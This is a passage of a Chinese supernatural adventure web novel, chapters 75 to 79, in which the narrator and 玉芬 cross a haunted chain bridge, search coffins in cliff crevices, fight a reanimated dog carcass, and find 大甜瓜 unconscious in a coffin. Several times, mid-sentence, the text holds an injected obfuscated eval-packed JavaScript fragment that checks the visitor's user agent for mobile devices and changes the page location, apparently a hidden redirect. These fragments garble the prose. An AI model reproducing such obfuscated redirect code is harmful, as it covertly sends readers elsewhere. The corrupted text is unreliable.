这些东西五花八门,而且年代相差的太远,有一些很老旧的手工制作的工具,但也有火柴盒和罐头盒之类的东西。这就足以说明,在很早以前,这里就有人活动过。 我捡起一个罐头盒看了看,这种罐头在之前找到的那个小山洞里就有。师傅当年那批人,一定也来过这儿,而且滞留的时间应该很久,否则的话,也不会在这里吃饭。 身边的那条裂谷,倒是天然形成的,没有一点点人为的痕迹,我猜测,这里可能就是裂谷起源的地方,顺着裂谷的边缘走的远了,裂谷的宽度也在不断的增加。 我大概还能保持平静,但我心里也知道,事情已经不太顺利了。那张照片的出现,算是一种提示,可同样也算是一种警告,照片一定是有人留下的,我现在还无法判断,照片被遗留在观听塔里的时间。 走着走着,我就发现玉芬的脚步变慢了,一边走一边在回想什么。 “你怎么又开始胡思乱想了?” “我管不住自己的脑子啊。”玉芬又使劲拽了拽自己的头发,朝着四周的黑暗看了两眼:“五满,我总觉得,这个地方很熟,我不会记错,那条裂谷,就是很显眼的标记。” 我也很替玉芬头疼,他只能想起一点点零星的碎片,更多的情况使劲想也想不出。那一点零星的碎片就好像一只鱼钩,卡在嗓子里不上不下,让人很难受。 “从这里走,还要走很远很远,才能到裂谷的另一端……要按咱们现在这个速度,估计一整天也走不完。” “裂谷的尽头,有什么东西吗?” “我想不起来,可能是没有,东西……东西不在裂谷尽头。” “那在什么地方?是什么东西?” “五满,我的头要炸了。” “你先别急,别急。” 我赶紧拦住玉芬,我感觉,或许就是现在的环境,给了玉芬一些隐藏的提示,现在不能把他逼的太紧,说不定再朝前走走,又看见什么景象,玉芬才能回忆起更多的线索。 我一边小声和他说话,一边继续向前,裂谷边缘看上去坑坑洼洼的,但实际上很多年前有不少人在这里通行过,只要顺着一条几乎看不出痕迹的小路走,就会很顺利。 就这样走了大概有一个小时,漫长的裂谷仿佛直接铺展到了天边,我和玉芬身上的行装都很沉重,无奈之下只能停下来休息。 休息了十分钟,我们重新动身,反正就是每过一段时间,就会恢复一下/体力,这样断断续续走了差不多有三个多小时,当手电的光芒照向裂谷对岸的时候,我一下子顿住了。 裂谷有至少二十多米宽,尤其是在这样的环境下,除了手电就没有任何的光线,所以远一些的地方就不太能看清楚。 我只能看到,裂谷的对岸紧贴着一面陡峭笔直的石壁,石壁上全都是一道一道天然形成的裂痕。这些裂痕说是天然形成的,但又基本保持着整齐。 一条一条横向的裂痕,仿佛把这面陡峭的石壁分割成了上下几层,在每一道裂痕的里面,都有一团一团黑乎乎的影子。 我急忙掏出身上的照片,对比了一下,如果我没看错的话,这张照片的场景,就是裂谷的对岸。 一直到这时候,我才隐然确定,这张照片真的是一张提示,在提示我们,裂谷的对岸,有很多尚未观察清楚的黑影子。 那些影子是什么? 我眯着眼睛看了许久,都分辨不出来,想要一探究竟,除非是亲自到对岸去。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过,等我又靠近了一些,发现其中的一部分木板应该是十几年前更换的,凑合能用。 我扶着一根铁索,踩到木板上试了试,铁索桥晃晃悠悠的,脚下就是深不见底的深渊,如果一失手,肯定万劫不复。 铁索桥还算结实,修桥的人是为了自己穿行在裂谷两岸,肯定不会拿自己的命开玩笑,试探了好几分钟,我就决定走过去。 第75章 惊险脱身 我没有冒冒失失的直接就开始跨过这座铁索桥,为了安全一点,我和玉芬用绳子绑在自己腰上,然后搭上一条铁索,结个绳套。 这样的话,我们朝前走的时候如果真出现了意外,还有条绳子能承担一下。 做好了准备工作,玉芬先登上铁索桥,等他走出去几米之后,我再跟随过去。铁索桥虽然晃晃悠悠,但非常的结实,承受我们两个人的重量完全不是问题。 我看着玉芬一点一点的向前迈进,走的还比较顺利,当他差不多走到一半儿的时候,我的目光陡然一凛,因为我看到有几根暗绿色的藤条,不知道从什么地方钻了出来,正顺着脚下的铁索,一路朝玉芬蔓延了过来。 这种藤条,我们上次来王川山的时候曾经见过,有一种很幽深的阴气,只因为这样的藤条是种在**身上的。 这种藤条不仅很结实,更重要的是,它似乎拥有灵性,能自由的伸缩,而且还知道攻击的重点。 我看着铁索桥上面并没有什么别的东西,却没想到,偏偏走到正中间的时候,几根藤条就无声的出现了。 我发现这几根藤条的时候,玉芬也发现了,但我们踩在残缺不全的木板上,而且身躯还有绳子绑在铁索上面,行动很不方便,玉芬急匆匆的想要后退,结果刚退出一步,几根藤条嗖的一下,直接缠住了他的腿。 我不知道是不是我们两个人登上铁索桥之后,触碰了什么禁忌,我还没来得及上去救玉芬,从前方的黑暗中,又有几根藤条顺着铁索蔓延到了近前。 玉芬一个人在前面顶着,十来根藤条缠住他之后,他已经寸步难行,一缠住玉芬,这些看着干枯的藤条,随即慢慢绽放出了叶片。 我随手拔出身上那把锋利的刀子,想要去给他帮忙。还没到跟前,前方的铁索上面,又出现了不知道多少藤条。 幽绿色的藤条,好像潮水一般的蜂拥而来,这不是人力可以阻挡的东西,玉芬整个人像是一个大粽子一样被缠紧了。藤条的另一端,似乎不断传来一股一股的力量,把玉芬使劲的朝后面拖。 玉芬其实已经坚持不住了,只不过是身上那根绳子链接着铁索,所以才没有被拖走。 我以最快速度赶了过去,人还没到跟前,密密麻麻的藤条又朝着我这边涌来,我只能暂时停下脚步,挥刀把藤条一根一根的砍断。 我有些头疼,上次遇到这玩意儿,铁拐李还在,是他把藤条给压制住了。如今只剩下我和玉芬,除了用刀砍,似乎就没有别的什么好办法。 我接连不断的出刀,藤条还是那么柔韧,费了老鼻子力气才能砍断一根。我这边已经尽了全力,可是却阻挡不了局势,玉芬已经坚持不住了,又过了最多两分钟,绑在铁索上的绳子一下子被挣断,玉芬整个人裹在藤条中,唰的被拖到了后面。 我的心一下子凉透了,如果这是在平地上,可能还可以想办法拼一拼,但身在铁索桥上面,站都站不稳,我不知道该怎么去救他。 玉芬直接被拖出去了好几米远,我能看见他在无数的藤条里来回的挣扎,不挣扎还好,这么一挣扎,密密麻麻的藤条就从下面两根铁索之间掉了下去。 藤条全都悬空了,玉芬被裹在里面,只要一个不慎,就会坠落深渊,铁索桥下方黑乎乎的一片,破旧的木板掉下去之后,过了差不多三秒钟才听见落地的声音,人要是掉下去,绝对会摔成一团肉泥。 可是被逼到了这一步,我一时间手足无措,只能拼命的把面前残余的藤条清理掉,然后一步一步的靠近。 玉芬被挂在铁索上,还是在来回的挣扎,时不时的就发出一声尖叫,他用尽全力,从藤条之间把脑袋给挤了出来,可是,他的身子还是被卡在里头,双腿上也缠着藤条,几乎没有脱身的可能。 我用最快的速度,到了大概两米远的地方,一直到这时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317340|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,我才陡然发现,在前面的铁索上,挂着三颗人的脑袋。 那么多的藤条,都是从这三颗脑袋的嘴巴里钻出来的。三颗脑袋被挂在铁索上面,随着铁索的震颤而微微的上下起伏。 “玉芬!坚持住!” 我咬了咬牙,不管现在是什么情况,都不能丢下玉芬不管。 我正在全力以赴,然而,没等救出玉芬,我自己的脚也被一根藤条给缠住了,藤条那么柔韧,根本挣脱不开,只能用刀去砍。 虽然我已经尽力的保持镇定,但在铁索桥上站立不稳,悬空的藤条也毫不受力,几刀下去,藤条没被砍断,相反,又有几根把我另一条腿也给缠住了。 如此一来,等于我和玉芬都被困在了桥上,可能暂时不会直接掉下去,但时间一长,谁也不知道会发生什么。 我和玉芬都在挣扎,铁索桥也晃动的越来越厉害,整个人如同荡秋千一样,腾云驾雾一般。 就在这时候,玉芬停止了挣扎,大声喊道:“赵老歪!!!赵老歪!!!” 玉芬喊的,肯定是一个人的名字,我以为铁索桥附近出现了人,但匆忙中抬头一看,周围连半个人影都没有。 “赵老歪……我认得你,你是赵老歪!!!” 玉芬还在喊叫,当他几嗓子喊出来之后,情况竟然真的出现了变化,缠在我们身上的藤条一下子都停止了颤动。 “赵老歪啊……你也来跟我们作对了……” 玉芬的声音有点激动,几乎带着哭腔,没过多久,我就觉得缠在自己脚上的几根藤条,不约而同的松动了。 与此同时,我能看到玉芬身体外面那些密密麻麻的藤条,也都一根一根的退了回去。玉芬身上的绳子已经挣断了,他死死拽着几根藤条,反手抓住铁索,翻身爬了上来。 玉芬大口大口的喘着气,惊魂未定,但他的眼睛,一直死死的盯着前面。 第76章 裂痕悬棺 所有的藤条全都缩到了铁索桥的一端,一直到这时候,我才发现,玉芬盯着的,是那三颗挂在铁索上的脑袋。 “玉芬,你见过那三颗脑袋?” “突然想起来的,以前根本就没印象,刚才差点掉下去了,心里一急,脑子里就蹦出来一个人。”玉芬朝那边指了指,说道:“挂在中间那颗……那颗脑袋……” 这三颗脑袋,不知道是什么时候挂在这儿的,脑袋外面本来也涂着一层蜡,但有些蜡脱落了,这就导致脑袋的一些皮肤出现了类似“阴皮”的状态,黑一块紫一块的。 不过,三颗脑袋大概的相貌,还是能看出来。最中间的那颗脑袋,留着络腮胡子,是一个五十岁上下的中年人。 而且,这颗脑袋有很显著的特征,估计是先天的原因,脑袋整体畸形,微微呈月牙状,民间俗称歪脑袋。 这种歪脑袋的人很少,所以特征非常显著,如果以前见过的话,估计就会给人留下很深刻的印象。 我从来都没有听过赵老歪这个名字,但是,看到对方脑袋的形状,我一下子就想起之前铁拐李和我说过的一些事情。 那还是我刚发现脖子上的红印,然后去找铁拐李破事。铁拐李没能帮上忙,不过却提供了一些线索。 他说,之前就有几个白八门的人,也是因为脖子上的红印找上了他,铁拐李搞不定这件事,爱莫能助。 那几个白八门的人是谁,铁拐李说的不详细,但是其中有一个长着歪脑袋的人,给他留下了很深刻的印象。 铁拐李不知道对方的真实姓名,只知道是白八门里的。 如今在这个时间这个地点看到这颗歪脑袋,我立刻就能想到,这个叫赵老歪的人,就是当年跟着师傅一块儿到王川山来的。 赵老歪这些人**之后,肯定也和师傅还有**叔一样,脑袋不见了。谁也不会想到,赵老歪的脑袋会出现在这儿。很显然,脑袋不可能自己飞过来,是有人专门把脑袋挂在这里的。 “玉芬,你认识这个赵老歪不?” “不认识,想不起来,就是看见那颗脑袋是歪的,心里一下子就蹦出赵老歪这个名字。”玉芬此刻又陷入了沉思中,但他回想什么事情,就好像是脑海里灵光一现,突然想起些零星的碎片,如果让他完整的回忆,肯定又想不起来。 我没有再追问他,但是有一点可以确定,如果玉芬以前没见过赵老歪,脑子里根本就没有这个人的任何印象,他无论如何也不会想起对方的名字。 玉芬身上的谜团,也越来越多了。 那三颗脑袋挂在铁索上,周围的藤条跟着就不动了,玉芬想了半天,还是想不起什么别的线索来。 “我知道你是……你是赵老歪……没必要为难我们,我们跟你也没什么仇对不对?” 当玉芬这两句话说完的时候,挂在铁索上的三颗脑袋,竟然一个挨着一个掉落了下去,我能听到脑袋落地之后所发出的声音,紧跟着,桥上密密麻麻的藤条,也都跟着翻落了下去。 短短两分钟时间,这座铁索桥彻底恢复了平静,没有留下任何的痕迹,就如同什么也未发生过。 这种情景是我无论如何也猜想不到的,但有一个细节,被我留意了。 我觉得,这三颗脑袋挂在铁索桥上,就能防备有些人通过这座桥,但是,我和玉芬到这儿之后,一喊出赵老歪的名字,危机随即就解除了。 这说明了什么? 这很可能说明,把脑袋挂在这里的人,应该没打算阻拦我们。否则的话,我和玉芬还是要被这些脑袋无休止的纠缠下去。 这里面肯定有些说不清楚的隐情,但现在俩人还在铁索桥上,呆在这种地方,心一直都是高悬着的,我催促玉芬,让他赶紧走。 剩下的距离已经不远了,我们加快速度,很快就到了对岸。 一站到对岸上,离那面陡峭的石壁就只剩下不足十米远,手电的光线能够覆盖石壁上那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330552|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横向的裂痕,而且,那一团一团密密麻麻的黑影子,在这一刻也逐渐清晰了起来。 石壁上一道一道的裂痕里面,摆放着各式各样的棺材,这些棺材的年代,长短不一,有些棺材已经烂的不成样子,有些还大概保持着完整。 我以前听师傅说过洞葬,也就是把人葬在悬崖峭壁上的山洞里,那种丧葬风俗只存在于部分地区,而且早已经被时代给淘汰了。 这些裂痕里的棺材,是谁安葬在这儿的,里面葬的是什么人,现在都是未知数,但有一点可以肯定,师傅和**叔他们当年探寻的重点,应该就是这里。 我抬头看了看,距离地面最近的一道裂痕,大概有四五米那么高,每一道裂痕里,都延展出来两三架绳梯,可以在裂痕之间上下通行,但时间已经过去太久了,绳梯还能不能用,不得而知。 我现在脑子还是有点糊涂,师傅和**叔当年是为了寻找化解脖子上红印的办法,才跑到这块风水地下面的地洞,他们把精力都放在这些裂痕里的棺材上面,难道化解的办法,隐藏在棺材里? 我找了一架绳梯,使劲拽了拽,这些绳梯肯定被师傅他们加固过,应该可以用,反正已经走到这里了,不管怎么说,都要上去看看。 我先顺着绳梯爬到了距离最近的一道裂痕里,裂痕很宽,高度有四五米的样子,而且裂痕深处的空间比较广阔,当我的爬上裂痕的那一瞬间,不由自主的就倒抽了一口凉气。 站在地面上看,裂痕里的棺材好像只有一排,但真正置身裂痕内部,才会发现,裂痕里的棺材远不止这些,一排挨着一排,视线可及的范围内,至少就有上百口。 单纯要把这些棺材给运到这个地方,就要耗费大量的人力和物力。 其中大部分的棺材,都已经被打开了,棺盖被歪歪斜斜的丢在一旁,整个裂痕里面一片狼藉,棺材里的尸体,很多都被取走了脑袋,只剩下躯干,早就化作了白骨,歪七扭八的散落了一地。 第77章 突发事件 眼前的情景很混乱,凌乱的棺材和尸骨到处都是。这东西是吓不住我的,我全力的分辨了一会儿,不多久就看出了一点端倪。 裂痕缝隙里的这些棺材,看上去好像没有太大的区别,但是从棺木以及尸体的具体情况去判断,还是有不同之处的。 有一些棺材,应该是郑重其事安葬在这个地方的,棺木的质量很好,摆放的也规规矩矩。 而另外一些棺材,则是凑合着塞到石壁裂痕里面的,棺材粗制滥造,有的甚至只是胡乱用几块木板钉到一起就算完事。 这个问题其实是值得思考的,风水地的地下安葬一些棺材,这个很正常,但那些**乱塞到这里的棺材和尸体,其实只说明了一点,这样的尸体,是有用处的,否则不可能专门把它们给运到这儿。 我觉得,师傅当年就是全力在钻研这些尸体,但最后可能没得到什么结果。 但我心里还是充满了疑问,从王先生提供的信息来看,师傅盯着这块风水地,好像是为了解决脖子上的红印。可这些尸体,跟师傅的目的有直接关系吗? 石壁上的这道缝隙至少有四五十米长,我和玉芬慢慢的走了一圈,凌乱的棺材,大概还有十来具没有被彻底打开,虽然师傅他们勘察了无数遍了,但眼下没有办法,还是得挨个的看一看。 “这里头不知道还有值钱的陪葬没有。” “都这时候了,你就别想这些了。” “顺手牵羊的事儿。”玉芬的眼珠子来回转动了一下:“反正都要在这儿检查一遍,要是有值钱的东西,顺手拿走,出去卖了,咱们的日子过的本来就不宽裕。” 我的心思和玉芬不一样,等把这道缝隙完整的走了一遍之后,注意力就集中到了那十来具还没被彻底打开的棺材上。 玉芬溜达到了一旁,在一片乱糟糟的棺材板子还有烂骨头之间仔细的扒拉着,看看还有没有什么被遗留的东西。 我在这边依次打开了四五口棺材,棺材都烂的不行了,等完全打开后,里面的尸体基本上也都变成了白骨。 这几口棺材里的尸骨,我看的很认真,每具尸骨的头部,都遭受过重创,颅骨出现了不同程度的损伤。 或许,这也就是这些尸体的头骨没有被带走的原因。我估摸着,只要是完好的头骨,可能都被师傅那批人给弄回去了。 过了大概有二十分钟左右,面前的几口棺材都看过了,除了尸体的头部受过重伤之外,也看不出什么别的情况来,我就打算调转方向,再到深处那几具没被完全打开的棺材跟前看看。 迈动脚步的时候,我听到旁边咔嚓咔嚓的响,玉芬扒拉的很起劲,虽然什么东西都没找到,却热情不减。我回了回头,刚想告诉他,不要白费力气了,余光一瞥,顿时吓了一跳。 在裂痕的边缘处,有一团毛茸茸的影子,正鬼鬼祟祟的朝前面移动,我看得出来,那团影子好像是冲着玉芬而来的。 玉芬背对着那团影子,注意力完全都在面前那一堆破烂上,压根就没留意身后出现了那团影子。 “小心!” 我没看清楚那团影子是什么玩意儿,立刻开口提醒玉芬,玉芬懵懵懂懂的,抬头看了看我。 与此同时,那团毛茸茸的影子陡然间一跃而起,朝着玉芬扑了过来。 玉芬现在的反应,的确比之前快了很多,虽然事发仓促,但看到那团毛茸茸的影子扑过来之后,他知道来不及躲闪,猛然一挥手,用手中的铲子招架了一下。 那团影子扑空了,落地之后却丝毫没有停止,在地上滚了一下,又冲着玉芬扑过去。直到这时候,我才隐隐约约的看到,那好像是一条狗。 这种狗是乡下养的土狗,土狗的个头儿一般都不会太大,但这条狗是个例外,比一般的土狗至少大了一半儿。 我和玉芬这一路上都很小心,确定没有什么东西跟着我们,但谁也说不清楚,这条狗是从什么地方钻出来的。 这条狗不仅个头儿很大,而且很脏,浑身上下的**都粘成一缕一缕的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330553|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散发着一种很难形容的臭味。 玉芬手里拿着铲子,跟这条狗周旋,我拖着钢钎过去帮忙,就觉得这条狗的姿势很怪,可现在来不及再想那么多,趁着它扑了一下,落地未稳,一钢钎就抡了过去。 此时此刻,我肯定不会留手,这一下几乎用了全力,钢钎嘭的砸在这条狗的脊背上,紧跟着,我就听到稀里哗啦的一阵声音,这条狗如同一堆积木,身上的骨头完全散架了,瘫倒在地。 我只怕有诈,暂时没敢乱动,举着钢钎严阵以待,过了有一两分钟,我发现这条狗好像真的不动弹了。 玉芬拿着铲子一点一点的靠近,走到跟前的时候,他就皱起了眉头。 “是条死狗,不知道**多长时间了。” “死狗?” 我微微一怔,跟着也走了过去,随即,我就发现玉芬说的没错,这条小牛犊子一般的大狗,不仅是死狗,而且**很长时间了,肉已经烂光,就剩下一堆骨头,外面披着一张臭烘烘的狗皮。 我和玉芬面面相觑,都有点不可思议。我们白八门的人常年和**打交道,可以说,对尸体的了解,远比一般人要多的多。这条狗已经死的只剩下皮毛骨头,还能和活狗一样行动自如,的确超出了我的想象。 眼下,我只能确定一点,这条狗本身不可能作祟,附近一定有什么东西或者人,在暗中用很特殊的手段操控它。 我感觉很不安,因为都烂成一堆骨头的尸体,还能去操控的手段,我以前听都没听说过,能有这种事手段的,必定不会是普通人。 我和玉芬全神贯注的观察着,但除了地上那条死狗的皮毛骨头,再也看不到别的什么东西。 “不对劲啊……”玉芬估计和我想的差不多,就觉得危机四伏。 咔嚓…… 就在我们俩心神不稳的时候,身后骤然间就传来一阵咔嚓咔嚓的声音,四下里一片寂静,我和玉芬又高度紧张,这突如其来的声音让我们同时一颤,不约而同的回过了头。 第78章 一只怪狗 我和玉芬一回头,那阵咔嚓声就消失了,但我们俩肯定不会听错。 身后依然是一片狼藉的棺材和尸骨,那阵声音的来源,我分辨不清。 我目不转睛的看了一会儿,可是咔嚓的声响再也没有出现,此时此刻,置身在这死一般的沉寂中,我感觉到了一阵前所未有的惶恐。 “五满,现在怎么办?” “我也不知道,再等等看。” 在这样绝对黑暗的环境里,我们不可能关掉手电,但打开手电,俩人就成了最显眼的目标。我对玉芬打了个手势,然后慢慢的挪动脚步,想把感知的范围再扩大一些。 我们俩刚刚一动,那阵咔嚓的声音陡然间又落入了耳中。这一次我已经有了防备,声音出现的同一时间,我立刻锁定了具体的来源。 我觉得,声音就是从我的右后方传出来的,那边有两三具盖着棺盖的棺材,我不知道之前被打开过没有。 那阵咔嚓的声音,就好像有人用指甲抓挠着棺材板,听的我浑身上下乱冒鸡皮疙瘩。 这一次,那阵咔嚓声又是响了两声,然后戛然而止,我和玉芬对视了一眼,声音肯定是有的,而且,玉芬也注意到了声音的来源。 如果我们俩没有判断错的话,声音就是从那边的棺材里传出的,因为刚刚出现了那只诡异的狗,我现在的脑子多少有点晕,怎么也想象不出,棺材里面怎么会有那种声音。 玉芬冲我挤了挤眼睛,他的意思是在告诉我,棺材里头可能有东西。我们俩刚才一直在寻找暗中操控那条狗的人或者东西,但始终没能找到,而棺材里的声音,毫无疑问会变成最大的疑点。 我们已经到了这个地方,无论棺材里是什么,肯定躲不过去。我和玉芬简短交换了一下意见,一左一右的慢慢靠近。 棺材里的声音暂时没有再响起,但越是靠近,我心里的预感就越强烈,我敢断定,棺材里肯定有东西。 一直走到距离那口破棺材还有两米远的时候,我停下了脚步,这口棺材很简陋,就是用木板钉起来的,因为时间还不算特别长,加上裂痕里面不会受到外界的天气影响,棺材大致完整。 只不过,这片风水地下面的空间里,拥有比较丰富的地下水系,空气湿度比较高,棺材外面长满了一寸来长的绿毛,看起来鬼气森森的。 我紧紧抓着手里的钢钎,如果暗中操控那条狗的人或者东西就在这里头,我肯定不会留手。 紧接着,我就看出来,这口棺材的棺盖之前已经被打开过了,但是又被人盖了上去,现在只要用力一掀,肯定能把棺盖给掀掉。 这时候,玉芬又在冲我使眼色,询问我该怎么办,我想了想,然后打了个手势。我走在前面,寻找了一个合适下手的地方,使劲的抠住棺盖,玉芬举着那把铲子,在旁边严阵以待。 等做好一切准备,我猛然发力,一下子把棺盖给掀了起来,玉芬手里的手电立刻照到了棺材内部。 这一瞬间,我果然看到棺材里面躺着一个人。 玉芬手里的铲子带着呼啸的风声,怒砸下来,但是铲子刚砸到一半儿,玉芬陡然停住了手,与此同时,我也看到棺材里面那个躺着的人,有一张很熟悉的脸。 “这……这……”玉芬举着铲子,顿时就愣住了。 我心里也像是万马奔腾,久久不能平息,一时间,各种各样复杂的念头充斥在脑海中,几乎连话都说不出来了。 棺材里的人,赫然是大甜瓜。 这是我们俩无论如何都没有想到的,玉芬只怕看的不仔细,手电直接伸到大甜瓜的脸跟前。在这么近的距离之下,我们肯定不会认错,这就是大甜瓜,如假包换。 “五满,怎么越来越邪门了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336461|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “先看看大甜瓜怎么样。” 我和玉芬都不太敢下手,最后还是玉芬颤颤巍巍的伸出手,试探了一下。大甜瓜还有呼吸,只不过紧闭着双眼,似乎是没知觉了。 我们俩确定没什么问题,才把大甜瓜从里面抬了出来。我只觉得脑袋嗡嗡的,我和玉芬出发的时候,就害怕大甜瓜耽误事,所以没敢带她,让她留在家里。这一路上,我们已经加了一百分的小心,根本就没看到任何人尾随。 可来到这次行动的目的地,却在棺材里发现了大甜瓜,我真的搞不明白,这是怎么回事。 我拍了拍大甜瓜的脸,她没有反应,玉芬就在旁边不停的猜测,但这种事情只靠自己猜,肯定是猜不出来的,现在唯一的办法,就是等大甜瓜醒过来。 大甜瓜的昏迷原因,我们也不知道,她的呼吸还有脉搏都很正常,偏偏就是不醒,喊了她几次之后,玉芬有点急躁了,啪啪在大甜瓜脸上抽了两下。 这两下抽的很重,大甜瓜白生生的脸颊上顿时留下几根清晰的指印。 让我想不到的是,这两下竟然有点用处,一直一动不动的大甜瓜挨两巴掌之后,似乎有了一点反应。 玉芬赶紧拿了水,兜头给大甜瓜浇到脸上,被凉水这么一浇,大甜瓜很快就睁开了眼睛。 她的眼神里,有一种深深的迷茫,就好像一个大梦初醒的人,一时间不知道自己身在何处,甚至连自己是谁都给忘记了。 但是,大甜瓜的神智显然是正常的,她虽然不知道这里是什么地方,不过转眼之间,就认出了我和玉芬。 “小哥!” 大甜瓜翻身就坐了起来,我看着她好胳膊好腿的,应该是没有受伤。 看到大甜瓜安然醒来,我也暗中松了口气。我很想知道,大甜瓜是怎么从百里之外的地方,一路来到这里,又躺在那口棺材里的。 第79章 难以揣测 我让玉芬盯着左右的动静,然后扶着大甜瓜站起身,大甜瓜的确没别的毛病,来回走了几步,除了身躯无力,并没有感到什么不适。 “小哥,这是……这是哪儿啊……” 大甜瓜适应了眼前的昏暗,一看到周围到处都是棺材板子还有凌乱的骨头,当时就炸窝了,噌的钻到我怀里。 一看见大甜瓜这样子,我就又蒙圈了,她不知道这是什么地方,那多半就说明,她也不知道自己是怎么到这儿来的。 “不用怕,没啥事,你先坐下,坐下再说。”我让大甜瓜先坐下,然后试探着问了几句。 大甜瓜的思维明显也没有问题,说话条理清晰,就是对周围的环境感到恐惧。 “小哥,这儿到底是啥地方啊。” “我也说不清楚,当时我和玉芬离开的时候,不是和你说了,叫你在家里等着,哪儿也别去?” “我发誓,我连门都没有出啊。”大甜瓜很委屈,忍不住摸了摸自己的脸,说道:“我的脸怎么肿了?是不是有人打我?” “不可能,你这模样,谁见了会不心疼?怎么可能有人打你?” “小哥……” 大甜瓜就是这样,说着话,又朝我这边凑,我赶紧推了推她。 “你好好想想,这到底是怎么回事。” “我怎么知道,我真的……真的不知道啊……” 这个事情不仅我迷茫,连大甜瓜自己都很迷茫。当时,我和玉芬走了以后,大甜瓜的确哪儿都没去,就在家里呆着。 大概就是我们走了之后的第二天晚上,大甜瓜在家里睡觉,这一睡过去,就再没有醒来。 大甜瓜就好像断断续续的做了一个很漫长的梦,有时候能梦到一些人和事,有时候干脆就是一片空白。 在这样的情况下,她不可能知道外界发生了什么,也不可能知道是谁把自己给弄到这里来的。发生在她身上的事情,现在就变成了一笔糊里糊涂的烂账,谁都说不清楚。 大甜瓜这人,其实没有多少心眼,我对她还是信任的,我相信她没有撒谎。 但越是这样,问题就越是复杂。大甜瓜跟这个事情,本身没有什么关系,完全就是因为我,上次跟着铁拐李一起来了王川山,结果脖子上就出现了红印。 这次我专门让她留在家里,就是避免再出现什么麻烦。 我敢断定,大甜瓜能到这儿,绝对是有人把她给弄过来的。凡事都要讲个动机和理由,从那么远的地方,把一个失去知觉的大活人给运到这儿,其实是件很费力的事情。 如果没有充分的理由和动机,谁都不可能这么做。 那么,那人把大甜瓜给送到这里,又是出于什么动机?总不可能对方是好心肠,单纯的把大甜瓜弄过来跟我们相遇。 一时间,我就觉得自己的脑袋要炸开了,自从遇上这件事之后,一个一个谜团接踵而至,这个还没找到答案,新的谜团已经随之而来。 和大甜瓜说话的时候,玉芬和我也都在关注周围的动静。附近静悄悄的,除了我们三个人,好像就没有别的活着的东西了。 “小哥,咱们现在怎么办啊,我很害怕……” “你朝旁边坐点,别挤这么近。” “可我害怕啊……” “你害怕,就抱着玉芬,他能给你安全感。” “小哥,你真坏。” 大甜瓜就是这样,骚气十足,也不管这是什么地方,几句话一说就浪了起来。 “五满,咱们接着找吗?”玉芬一边朝四周望着,一边小声问道:“这上面至少还有三四条裂痕,里面的棺材不少。” “接着找,多加小心。” 我慢慢站起身,心里觉得很不踏实,大甜瓜被弄到这儿,就说明肯定有外人,对方一直隐匿不出,我们根本就不知道人家藏在什么地方。 我走到裂痕的边缘,上面的裂痕垂下来好几条绳梯,看样子,都是师傅他们到这儿的时候留下的,十几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336462|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年时间了,绳梯都还很结实,我使劲拽了拽,觉得没什么问题。 就在这时候,那滩被玉芬打散的狗的骨头和皮**,突然动了动。这玩意儿被打散之后,就没有任何动静,可现在这么一动,就让我们又紧张了起来。 